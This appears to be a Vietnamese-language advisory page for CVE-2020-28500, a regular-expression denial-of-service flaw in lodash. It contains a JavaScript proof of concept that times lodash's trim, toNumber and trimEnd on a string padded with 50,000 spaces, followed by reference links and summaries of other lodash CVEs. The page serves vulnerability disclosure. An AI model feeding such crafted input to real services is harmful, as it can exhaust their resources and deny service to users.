Regular Expression Denial of Service (ReDoS) in lodash

Mô tả

var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);

Tham khảo

• nvd.nist.gov/vuln/detail/CVE-2020-28500 · ADVISORY
• github/advisory-database#6139 · WEB
• lodash/lodash#5065 · WEB
• lodash/lodash#5065 · WEB
• lodash/lodash commit c4847eb · WEB
• oracle.com/security-alerts/cpuoct2021.html · WEB
• oracle.com/security-alerts/cpujul2022.html · WEB
• oracle.com/security-alerts/cpujan2022.html · WEB
• oracle.com//security-alerts/cpujul2021.html · WEB
• snyk.io/vuln/SNYK-JS-LODASH-1018905 · WEB
• snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893 · WEB
• snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895

Lỗ hổng khác của lodash-rails

• CVE-2021-23337CAO 7.2Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
• CVE-2020-8203CAO 7.4Prototype pollution attack when using _.zipObjectDeep in lodash before 4.17.20.
• CVE-2019-10744NGHIÊM TRỌNG 9.1Versions of lodash lower than 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modif…
• CVE-2019-1010266TRUNG BÌNH 6.5lodash prior to 4.17.11 is affected by: CWE-400: Uncontrolled Resource Consumption. The impact is: Denial of service. The component is: Date…
• CVE-2018-16487TRUNG BÌNH 5.6A prototype pollution vulnerability was found in lodash <4.17.11 where the functions merge, mergeWith, and defaultsDeep can be tricked into …